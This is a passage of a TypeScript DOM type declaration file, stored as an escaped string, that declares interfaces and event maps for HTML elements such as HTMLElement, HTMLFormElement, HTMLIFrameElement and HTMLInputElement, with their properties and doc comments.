\"loadeddata\": Event;\\n    \"loadedmetadata\": Event;\\n    \"loadstart\": Event;\\n    \"mousedown\": MouseEvent;\\n    \"mouseenter\": MouseEvent;\\n    \"mouseleave\": MouseEvent;\\n    \"mousemove\": MouseEvent;\\n    \"mouseout\": MouseEvent;\\n    \"mouseover\": MouseEvent;\\n    \"mouseup\": MouseEvent;\\n    \"mousewheel\": WheelEvent;\\n    \"MSContentZoom\": UIEvent;\\n    \"MSManipulationStateChanged\": MSManipulationEvent;\\n    \"paste\": ClipboardEvent;\\n    \"pause\": Event;\\n    \"play\": Event;\\n    \"playing\": Event;\\n    \"progress\": ProgressEvent;\\n    \"ratechange\": Event;\\n    \"reset\": Event;\\n    \"scroll\": UIEvent;\\n    \"seeked\": Event;\\n    \"seeking\": Event;\\n    \"select\": UIEvent;\\n    \"selectstart\": Event;\\n    \"stalled\": Event;\\n    \"submit\": Event;\\n    \"suspend\": Event;\\n    \"timeupdate\": Event;\\n    \"volumechange\": Event;\\n    \"waiting\": Event;\\n}\\n\\ninterface HTMLElement extends Element {\\n    accessKey: string;\\n    readonly children: HTMLCollection;\\n    contentEditable: string;\\n    readonly dataset: DOMStringMap;\\n    dir: string;\\n    draggable: boolean;\\n    hidden: boolean;\\n    hideFocus: boolean;\\n    innerText: string;\\n    readonly isContentEditable: boolean;\\n    lang: string;\\n    readonly offsetHeight: number;\\n    readonly offsetLeft: number;\\n    readonly offsetParent: Element;\\n    readonly offsetTop: number;\\n    readonly offsetWidth: number;\\n    onabort: (this: HTMLElement, ev: UIEvent) => any;\\n    onactivate: (this: HTMLElement, ev: UIEvent) => any;\\n    onbeforeactivate: (this: HTMLElement, ev: UIEvent) => any;\\n    onbeforecopy: (this: HTMLElement, ev: ClipboardEvent) => any;\\n    onbeforecut: (this: HTMLElement, ev: ClipboardEvent) => any;\\n    onbeforedeactivate: (this: HTMLElement, ev: UIEvent) => any;\\n    onbeforepaste: (this: HTMLElement, ev: ClipboardEvent) => any;\\n    onblur: (this: HTMLElement, ev: FocusEvent) => any;\\n    oncanplay: (this: HTMLElement, ev: Event) => any;\\n    oncanplaythrough: (this: HTMLElement, ev: Event) => any;\\n    onchange: (this: HTMLElement, ev: Event) => any;\\n    onclick: (this: HTMLElement, ev: MouseEvent) => any;\\n    oncontextmenu: (this: HTMLElement, ev: PointerEvent) => any;\\n    oncopy: (this: HTMLElement, ev: ClipboardEvent) => any;\\n    oncuechange: (this: HTMLElement, ev: Event) => any;\\n    oncut: (this: HTMLElement, ev: ClipboardEvent) => any;\\n    ondblclick: (this: HTMLElement, ev: MouseEvent) => any;\\n    ondeactivate: (this: HTMLElement, ev: UIEvent) => any;\\n    ondrag: (this: HTMLElement, ev: DragEvent) => any;\\n    ondragend: (this: HTMLElement, ev: DragEvent) => any;\\n    ondragenter: (this: HTMLElement, ev: DragEvent) => any;\\n    ondragleave: (this: HTMLElement, ev: DragEvent) => any;\\n    ondragover: (this: HTMLElement, ev: DragEvent) => any;\\n    ondragstart: (this: HTMLElement, ev: DragEvent) => any;\\n    ondrop: (this: HTMLElement, ev: DragEvent) => any;\\n    ondurationchange: (this: HTMLElement, ev: Event) => any;\\n    onemptied: (this: HTMLElement, ev: Event) => any;\\n    onended: (this: HTMLElement, ev: MediaStreamErrorEvent) => any;\\n    onerror: (this: HTMLElement, ev: ErrorEvent) => any;\\n    onfocus: (this: HTMLElement, ev: FocusEvent) => any;\\n    oninput: (this: HTMLElement, ev: Event) => any;\\n    oninvalid: (this: HTMLElement, ev: Event) => any;\\n    onkeydown: (this: HTMLElement, ev: KeyboardEvent) => any;\\n    onkeypress: (this: HTMLElement, ev: KeyboardEvent) => any;\\n    onkeyup: (this: HTMLElement, ev: KeyboardEvent) => any;\\n    onload: (this: HTMLElement, ev: Event) => any;\\n    onloadeddata: (this: HTMLElement, ev: Event) => any;\\n    onloadedmetadata: (this: HTMLElement, ev: Event) => any;\\n    onloadstart: (this: HTMLElement, ev: Event) => any;\\n    onmousedown: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmouseenter: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmouseleave: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmousemove: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmouseout: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmouseover: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmouseup: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmousewheel: (this: HTMLElement, ev: WheelEvent) => any;\\n    onmscontentzoom: (this: HTMLElement, ev: UIEvent) => any;\\n    onmsmanipulationstatechanged: (this: HTMLElement, ev: MSManipulationEvent) => any;\\n    onpaste: (this: HTMLElement, ev: ClipboardEvent) => any;\\n    onpause: (this: HTMLElement, ev: Event) => any;\\n    onplay: (this: HTMLElement, ev: Event) => any;\\n    onplaying: (this: HTMLElement, ev: Event) => any;\\n    onprogress: (this: HTMLElement, ev: ProgressEvent) => any;\\n    onratechange: (this: HTMLElement, ev: Event) => any;\\n    onreset: (this: HTMLElement, ev: Event) => any;\\n    onscroll: (this: HTMLElement, ev: UIEvent) => any;\\n    onseeked: (this: HTMLElement, ev: Event) => any;\\n    onseeking: (this: HTMLElement, ev: Event) => any;\\n    onselect: (this: HTMLElement, ev: UIEvent) => any;\\n    onselectstart: (this: HTMLElement, ev: Event) => any;\\n    onstalled: (this: HTMLElement, ev: Event) => any;\\n    onsubmit: (this: HTMLElement, ev: Event) => any;\\n    onsuspend: (this: HTMLElement, ev: Event) => any;\\n    ontimeupdate: (this: HTMLElement, ev: Event) => any;\\n    onvolumechange: (this: HTMLElement, ev: Event) => any;\\n    onwaiting: (this: HTMLElement, ev: Event) => any;\\n    outerText: string;\\n    spellcheck: boolean;\\n    readonly style: CSSStyleDeclaration;\\n    tabIndex: number;\\n    title: string;\\n    blur(): void;\\n    click(): void;\\n    dragDrop(): boolean;\\n    focus(): void;\\n    msGetInputContext(): MSInputMethodContext;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLElement: {\\n    prototype: HTMLElement;\\n    new(): HTMLElement;\\n};\\n\\ninterface HTMLEmbedElement extends HTMLElement, GetSVGDocument {\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: string;\\n    hidden: any;\\n    /**\\n     * Gets or sets whether the DLNA PlayTo device is available.\\n     */\\n    msPlayToDisabled: boolean;\\n    /**\\n     * Gets or sets the path to the preferred media source. This enables the Play To target device to stream the media content, which can be DRM protected, from a different location, such as a cloud media server.\\n     */\\n    msPlayToPreferredSourceUri: string;\\n    /**\\n     * Gets or sets the primary DLNA PlayTo device.\\n     */\\n    msPlayToPrimary: boolean;\\n    /**\\n     * Gets the source associated with the media element for use by the PlayToManager.\\n     */\\n    readonly msPlayToSource: any;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    /**\\n     * Retrieves the palette used for the embedded document.\\n     */\\n    readonly palette: string;\\n    /**\\n     * Retrieves the URL of the plug-in used to view an embedded document.\\n     */\\n    readonly pluginspage: string;\\n    readonly readyState: string;\\n    /**\\n     * Sets or retrieves a URL to be loaded by the object.\\n     */\\n    src: string;\\n    /**\\n     * Sets or retrieves the height and width units of the embed object.\\n     */\\n    units: string;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLEmbedElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLEmbedElement: {\\n    prototype: HTMLEmbedElement;\\n    new(): HTMLEmbedElement;\\n};\\n\\ninterface HTMLFieldSetElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    disabled: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    name: string;\\n    /**\\n     * Returns the error message that would be displayed if the user submits the form, or an empty string if no error message. It also triggers the standard error message, such as \"this is a required field\". The result is that the user sees validation messages without actually submitting.\\n     */\\n    readonly validationMessage: string;\\n    /**\\n     * Returns a  ValidityState object that represents the validity states of an element.\\n     */\\n    readonly validity: ValidityState;\\n    /**\\n     * Returns whether an element will successfully validate based on forms validation rules and constraints.\\n     */\\n    readonly willValidate: boolean;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Sets a custom error message that is displayed when a form is submitted.\\n     * @param error Sets a custom error message that is displayed when a form is submitted.\\n     */\\n    setCustomValidity(error: string): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLFieldSetElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLFieldSetElement: {\\n    prototype: HTMLFieldSetElement;\\n    new(): HTMLFieldSetElement;\\n};\\n\\ninterface HTMLFontElement extends HTMLElement, DOML2DeprecatedColorProperty, DOML2DeprecatedSizeProperty {\\n    /**\\n     * Sets or retrieves the current typeface family.\\n     */\\n    face: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLFontElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLFontElement: {\\n    prototype: HTMLFontElement;\\n    new(): HTMLFontElement;\\n};\\n\\ninterface HTMLFormControlsCollection extends HTMLCollectionBase {\\n    namedItem(name: string): HTMLCollection | Element | null;\\n}\\n\\ndeclare var HTMLFormControlsCollection: {\\n    prototype: HTMLFormControlsCollection;\\n    new(): HTMLFormControlsCollection;\\n};\\n\\ninterface HTMLFormElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves a list of character encodings for input data that must be accepted by the server processing the form.\\n     */\\n    acceptCharset: string;\\n    /**\\n     * Sets or retrieves the URL to which the form content is sent for processing.\\n     */\\n    action: string;\\n    /**\\n     * Specifies whether autocomplete is applied to an editable text field.\\n     */\\n    autocomplete: string;\\n    /**\\n     * Retrieves a collection, in source order, of all controls in a given form.\\n     */\\n    readonly elements: HTMLFormControlsCollection;\\n    /**\\n     * Sets or retrieves the MIME encoding for the form.\\n     */\\n    encoding: string;\\n    /**\\n     * Sets or retrieves the encoding type for the form.\\n     */\\n    enctype: string;\\n    /**\\n     * Sets or retrieves the number of objects in a collection.\\n     */\\n    readonly length: number;\\n    /**\\n     * Sets or retrieves how to send the form data to the server.\\n     */\\n    method: string;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    /**\\n     * Designates a form that is not validated when submitted.\\n     */\\n    noValidate: boolean;\\n    /**\\n     * Sets or retrieves the window or frame at which to target content.\\n     */\\n    target: string;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Retrieves a form object or an object from an elements collection.\\n     * @param name Variant of type Number or String that specifies the object or collection to retrieve. If this parameter is a Number, it is the zero-based index of the object. If this parameter is a string, all objects with matching name or id properties are retrieved, and a collection is returned if more than one match is made.\\n     * @param index Variant of type Number that specifies the zero-based index of the object to retrieve when a collection is returned.\\n     */\\n    item(name?: any, index?: any): any;\\n    /**\\n     * Retrieves a form object or an object from an elements collection.\\n     */\\n    namedItem(name: string): any;\\n    /**\\n     * Fires when the user resets a form.\\n     */\\n    reset(): void;\\n    /**\\n     * Fires when a FORM is about to be submitted.\\n     */\\n    submit(): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLFormElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n    [name: string]: any;\\n}\\n\\ndeclare var HTMLFormElement: {\\n    prototype: HTMLFormElement;\\n    new(): HTMLFormElement;\\n};\\n\\ninterface HTMLFrameElementEventMap extends HTMLElementEventMap {\\n    \"load\": Event;\\n}\\n\\ninterface HTMLFrameElement extends HTMLElement, GetSVGDocument {\\n    /**\\n     * Specifies the properties of a border drawn around an object.\\n     */\\n    border: string;\\n    /**\\n     * Sets or retrieves the border color of the object.\\n     */\\n    borderColor: any;\\n    /**\\n     * Retrieves the document object of the page or frame.\\n     */\\n    readonly contentDocument: Document;\\n    /**\\n     * Retrieves the object of the specified.\\n     */\\n    readonly contentWindow: Window;\\n    /**\\n     * Sets or retrieves whether to display a border for the frame.\\n     */\\n    frameBorder: string;\\n    /**\\n     * Sets or retrieves the amount of additional space between the frames.\\n     */\\n    frameSpacing: any;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: string | number;\\n    /**\\n     * Sets or retrieves a URI to a long description of the object.\\n     */\\n    longDesc: string;\\n    /**\\n     * Sets or retrieves the top and bottom margin heights before displaying the text in a frame.\\n     */\\n    marginHeight: string;\\n    /**\\n     * Sets or retrieves the left and right margin widths before displaying the text in a frame.\\n     */\\n    marginWidth: string;\\n    /**\\n     * Sets or retrieves the frame name.\\n     */\\n    name: string;\\n    /**\\n     * Sets or retrieves whether the user can resize the frame.\\n     */\\n    noResize: boolean;\\n    /**\\n     * Raised when the object has been completely received from the server.\\n     */\\n    onload: (this: HTMLFrameElement, ev: Event) => any;\\n    /**\\n     * Sets or retrieves whether the frame can be scrolled.\\n     */\\n    scrolling: string;\\n    /**\\n     * Sets or retrieves a URL to be loaded by the object.\\n     */\\n    src: string;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string | number;\\n    addEventListener<K extends keyof HTMLFrameElementEventMap>(type: K, listener: (this: HTMLFrameElement, ev: HTMLFrameElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLFrameElement: {\\n    prototype: HTMLFrameElement;\\n    new(): HTMLFrameElement;\\n};\\n\\ninterface HTMLFrameSetElementEventMap extends HTMLElementEventMap {\\n    \"afterprint\": Event;\\n    \"beforeprint\": Event;\\n    \"beforeunload\": BeforeUnloadEvent;\\n    \"blur\": FocusEvent;\\n    \"error\": ErrorEvent;\\n    \"focus\": FocusEvent;\\n    \"hashchange\": HashChangeEvent;\\n    \"load\": Event;\\n    \"message\": MessageEvent;\\n    \"offline\": Event;\\n    \"online\": Event;\\n    \"orientationchange\": Event;\\n    \"pagehide\": PageTransitionEvent;\\n    \"pageshow\": PageTransitionEvent;\\n    \"popstate\": PopStateEvent;\\n    \"resize\": UIEvent;\\n    \"scroll\": UIEvent;\\n    \"storage\": StorageEvent;\\n    \"unload\": Event;\\n}\\n\\ninterface HTMLFrameSetElement extends HTMLElement {\\n    border: string;\\n    /**\\n     * Sets or retrieves the border color of the object.\\n     */\\n    borderColor: any;\\n    /**\\n     * Sets or retrieves the frame widths of the object.\\n     */\\n    cols: string;\\n    /**\\n     * Sets or retrieves whether to display a border for the frame.\\n     */\\n    frameBorder: string;\\n    /**\\n     * Sets or retrieves the amount of additional space between the frames.\\n     */\\n    frameSpacing: any;\\n    name: string;\\n    onafterprint: (this: HTMLFrameSetElement, ev: Event) => any;\\n    onbeforeprint: (this: HTMLFrameSetElement, ev: Event) => any;\\n    onbeforeunload: (this: HTMLFrameSetElement, ev: BeforeUnloadEvent) => any;\\n    /**\\n     * Fires when the object loses the input focus.\\n     */\\n    onblur: (this: HTMLFrameSetElement, ev: FocusEvent) => any;\\n    onerror: (this: HTMLFrameSetElement, ev: ErrorEvent) => any;\\n    /**\\n     * Fires when the object receives focus.\\n     */\\n    onfocus: (this: HTMLFrameSetElement, ev: FocusEvent) => any;\\n    onhashchange: (this: HTMLFrameSetElement, ev: HashChangeEvent) => any;\\n    onload: (this: HTMLFrameSetElement, ev: Event) => any;\\n    onmessage: (this: HTMLFrameSetElement, ev: MessageEvent) => any;\\n    onoffline: (this: HTMLFrameSetElement, ev: Event) => any;\\n    ononline: (this: HTMLFrameSetElement, ev: Event) => any;\\n    onorientationchange: (this: HTMLFrameSetElement, ev: Event) => any;\\n    onpagehide: (this: HTMLFrameSetElement, ev: PageTransitionEvent) => any;\\n    onpageshow: (this: HTMLFrameSetElement, ev: PageTransitionEvent) => any;\\n    onpopstate: (this: HTMLFrameSetElement, ev: PopStateEvent) => any;\\n    onresize: (this: HTMLFrameSetElement, ev: UIEvent) => any;\\n    onscroll: (this: HTMLFrameSetElement, ev: UIEvent) => any;\\n    onstorage: (this: HTMLFrameSetElement, ev: StorageEvent) => any;\\n    onunload: (this: HTMLFrameSetElement, ev: Event) => any;\\n    /**\\n     * Sets or retrieves the frame heights of the object.\\n     */\\n    rows: string;\\n    addEventListener<K extends keyof HTMLFrameSetElementEventMap>(type: K, listener: (this: HTMLFrameSetElement, ev: HTMLFrameSetElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLFrameSetElement: {\\n    prototype: HTMLFrameSetElement;\\n    new(): HTMLFrameSetElement;\\n};\\n\\ninterface HTMLHeadElement extends HTMLElement {\\n    profile: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLHeadElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLHeadElement: {\\n    prototype: HTMLHeadElement;\\n    new(): HTMLHeadElement;\\n};\\n\\ninterface HTMLHeadingElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves a value that indicates the table alignment.\\n     */\\n    align: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLHeadingElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLHeadingElement: {\\n    prototype: HTMLHeadingElement;\\n    new(): HTMLHeadingElement;\\n};\\n\\ninterface HTMLHRElement extends HTMLElement, DOML2DeprecatedColorProperty, DOML2DeprecatedSizeProperty {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves whether the horizontal rule is drawn with 3-D shading.\\n     */\\n    noShade: boolean;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLHRElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLHRElement: {\\n    prototype: HTMLHRElement;\\n    new(): HTMLHRElement;\\n};\\n\\ninterface HTMLHtmlElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the DTD version that governs the current document.\\n     */\\n    version: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLHtmlElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLHtmlElement: {\\n    prototype: HTMLHtmlElement;\\n    new(): HTMLHtmlElement;\\n};\\n\\ninterface HTMLIFrameElementEventMap extends HTMLElementEventMap {\\n    \"load\": Event;\\n}\\n\\ninterface HTMLIFrameElement extends HTMLElement, GetSVGDocument {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    allowFullscreen: boolean;\\n    allowPaymentRequest: boolean;\\n    /**\\n     * Specifies the properties of a border drawn around an object.\\n     */\\n    border: string;\\n    /**\\n     * Retrieves the document object of the page or frame.\\n     */\\n    readonly contentDocument: Document;\\n    /**\\n     * Retrieves the object of the specified.\\n     */\\n    readonly contentWindow: Window;\\n    /**\\n     * Sets or retrieves whether to display a border for the frame.\\n     */\\n    frameBorder: string;\\n    /**\\n     * Sets or retrieves the amount of additional space between the frames.\\n     */\\n    frameSpacing: any;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: string;\\n    /**\\n     * Sets or retrieves the horizontal margin for the object.\\n     */\\n    hspace: number;\\n    /**\\n     * Sets or retrieves a URI to a long description of the object.\\n     */\\n    longDesc: string;\\n    /**\\n     * Sets or retrieves the top and bottom margin heights before displaying the text in a frame.\\n     */\\n    marginHeight: string;\\n    /**\\n     * Sets or retrieves the left and right margin widths before displaying the text in a frame.\\n     */\\n    marginWidth: string;\\n    /**\\n     * Sets or retrieves the frame name.\\n     */\\n    name: string;\\n    /**\\n     * Sets or retrieves whether the user can resize the frame.\\n     */\\n    noResize: boolean;\\n    /**\\n     * Raised when the object has been completely received from the server.\\n     */\\n    onload: (this: HTMLIFrameElement, ev: Event) => any;\\n    readonly sandbox: DOMSettableTokenList;\\n    /**\\n     * Sets or retrieves whether the frame can be scrolled.\\n     */\\n    scrolling: string;\\n    /**\\n     * Sets or retrieves a URL to be loaded by the object.\\n     */\\n    src: string;\\n    /**\\n     * Sets or retrieves the vertical margin for the object.\\n     */\\n    vspace: number;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string;\\n    addEventListener<K extends keyof HTMLIFrameElementEventMap>(type: K, listener: (this: HTMLIFrameElement, ev: HTMLIFrameElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLIFrameElement: {\\n    prototype: HTMLIFrameElement;\\n    new(): HTMLIFrameElement;\\n};\\n\\ninterface HTMLImageElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves a text alternative to the graphic.\\n     */\\n    alt: string;\\n    /**\\n     * Specifies the properties of a border drawn around an object.\\n     */\\n    border: string;\\n    /**\\n     * Retrieves whether the object is fully loaded.\\n     */\\n    readonly complete: boolean;\\n    crossOrigin: string | null;\\n    readonly currentSrc: string;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: number;\\n    /**\\n     * Sets or retrieves the width of the border to draw around the object.\\n     */\\n    hspace: number;\\n    /**\\n     * Sets or retrieves whether the image is a server-side image map.\\n     */\\n    isMap: boolean;\\n    /**\\n     * Sets or retrieves a Uniform Resource Identifier (URI) to a long description of the object.\\n     */\\n    longDesc: string;\\n    lowsrc: string;\\n    /**\\n     * Gets or sets whether the DLNA PlayTo device is available.\\n     */\\n    msPlayToDisabled: boolean;\\n    msPlayToPreferredSourceUri: string;\\n    /**\\n     * Gets or sets the primary DLNA PlayTo device.\\n     */\\n    msPlayToPrimary: boolean;\\n    /**\\n     * Gets the source associated with the media element for use by the PlayToManager.\\n     */\\n    readonly msPlayToSource: any;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    /**\\n     * The original height of the image resource before sizing.\\n     */\\n    readonly naturalHeight: number;\\n    /**\\n     * The original width of the image resource before sizing.\\n     */\\n    readonly naturalWidth: number;\\n    sizes: string;\\n    /**\\n     * The address or URL of the a media resource that is to be considered.\\n     */\\n    src: string;\\n    srcset: string;\\n    /**\\n     * Sets or retrieves the URL, often with a bookmark extension (#name), to use as a client-side image map.\\n     */\\n    useMap: string;\\n    /**\\n     * Sets or retrieves the vertical margin for the object.\\n     */\\n    vspace: number;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: number;\\n    readonly x: number;\\n    readonly y: number;\\n    msGetAsCastingSource(): any;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLImageElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLImageElement: {\\n    prototype: HTMLImageElement;\\n    new(): HTMLImageElement;\\n};\\n\\ninterface HTMLInputElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves a comma-separated list of content types.\\n     */\\n    accept: string;\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves a text alternative to the graphic.\\n     */\\n    alt: string;\\n    /**\\n     * Specifies whether autocomplete is applied to an editable text field.\\n     */\\n    autocomplete: string;\\n    /**\\n     * Provides a way to direct a user to a specific field when a document loads. This can provide both direction and convenience for a user, reducing the need to click or tab to a field when a page opens. This attribute is true when present on an element, and false when missing.\\n     */\\n    autofocus: boolean;\\n    /**\\n     * Sets or retrieves the width of the border to draw around the object.\\n     */\\n    border: string;\\n    /**\\n     * Sets or retrieves the state of the check box or radio button.\\n     */\\n    checked: boolean;\\n    /**\\n     * Retrieves whether the object is fully loaded.\\n     */\\n    readonly complete: boolean;\\n    /**\\n     * Sets or retrieves the state of the check box or radio button.\\n     */\\n    defaultChecked: boolean;\\n    /**\\n     * Sets or retrieves the initial contents of the object.\\n     */\\n    defaultValue: string;\\n    disabled: boolean;\\n    /**\\n     * Returns a FileList object on a file type input object.\\n     */\\n    readonly files: FileList | null;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Overrides the action attribute (where the data on a form is sent) on the parent form element.\\n     */\\n    formAction: string;\\n    /**\\n     * Used to override the encoding (formEnctype attribute) specified on the form element.\\n     */\\n    formEnctype: string;\\n    /**\\n     * Overrides the submit method attribute previously specified on a form element.\\n     */\\n    formMethod: string;\\n    /**\\n     * Overrides any validation or required attributes on a form or form elements to allow it to be submitted without validation. This can be used to create a \"save draft\"-type submit option.\\n     */\\n    formNoValidate: string;\\n    /**\\n     * Overrides the target attribute on a form element.\\n     */\\n    formTarget: string;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: string;\\n    /**\\n     * Sets or retrieves the width of the border to draw around the object.\\n     */\\n    hspace: number;\\n    indeterminate: boolean;\\n    /**\\n     * Specifies the ID of a pre-defined datalist of options for an input element.\\n     */\\n    readonly list: HTMLElement;\\n    /**\\n     * Defines the maximum acceptable value for an input element with type=\"number\".When used with the min and step attributes, lets you control the range and increment (such as only even numbers) that the user can enter into an input field.\\n     */\\n    max: string;\\n    /**\\n     * Sets or retrieves the maximum number of characters that the user can enter in a text control.\\n     */\\n    maxLength: number;\\n    /**\\n     * Defines the minimum acceptable value for an input element with type=\"number\". When used with the max and step attributes, lets you control the range and increment (such as even numbers only) that the user can enter into an input field.\\n     */\\n    min: string;\\n    /**\\n     * Sets or retrieves the Boolean value indicating whether multiple items can be selected from a list.\\n     */\\n    multiple: boolean;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    /**\\n     * Gets or sets a string containing a regular expression that the user\\'s input must match.\\n     */\\n    pattern: string;\\n    /**\\n     * Gets or sets a text string that is displayed in an input field as a hint or prompt to users as the format or type of information they need to enter.The text appears in an input field until the user puts focus on the field.\\n     */\\n    placeholder: string;\\n    readOnly: boolean;\\n    /**\\n     * When present, marks an element that can\\'t be submitted without a value.\\n     */\\n    required: boolean;\\n    selectionDirection: string;\\n    /**\\n     * Gets or sets the end position or offset of a text selection.\\n     */\\n    selectionEnd: number;\\n    /**\\n     * Gets or sets the starting position or offset of a text selection.\\n     */\\n    selectionStart: number;\\n    size: number;\\n    /**\\n     * The address or URL of the a media resource that is to be considered.\\n     */\\n    src: string;\\n    status: boolean;\\n    /**\\n     * Defines an increment or jump between values that you want to allow the user to enter. When used with the max and min attributes, lets you control the range and increment (for example, allow only even numbers) that the user can enter into an input field.\\n     */\\n    step: string;\\n    /**\\n     * Returns the content type of the object.\\n     */\\n    type: string;\\n    /**\\n     * Sets or retrieves the URL, often with a bookmark extension (#name), to use as a client-side image map.\\n     */\\n    useMap: string;\\n    /**\\n     * Returns the error message that would be displayed if the user submits the form, or an empty string if no error message. It also triggers the standard error message, such as \"this is a required field\". The result is that the user sees validation messages without actually submitting.\\n     */\\n    readonly validationMessage: string;\\n    /**\\n     * Returns a  ValidityState object that represents the validity states of an element.\\n     */\\n    readonly validity: ValidityState;\\n    /**\\n     * Returns the value of the data at the cursor\\'s current position.\\n     */\\n    value: string;\\n    valueAsDate: Date;\\n    /**\\n     * Returns the input field value as a number.\\n     */\\n    valueAsNumber: number;\\n    /**\\n     * Sets or retrieves the vertical margin for the object.\\n     */\\n    vspace: number;\\n    webkitdirectory: boolean;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string;\\n    /**\\n     * Returns whether an element will successfully validate based on forms validation rules and constraints.\\n     */\\n    readonly willValidate: boolean;\\n    minLength: number;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Makes the selection equal to the current object.\\n     */\\n    select(): void;\\n    /**\\n     * Sets a custom error message that is displayed when a form is submitted.\\n     * @param error Sets a custom error message that is displayed when a form is submitted.\\n     */\\n    setCustomValidity(error: string): void;\\n    /**\\n     * Sets the start and end positions of a selection in a text field.\\n     * @param start The offset into the text field for the start of the selection.\\n     * @param end The offset into the text field for the end of the selection.\\n     */\\n    setSelectionRange(start?: number, end?: number, 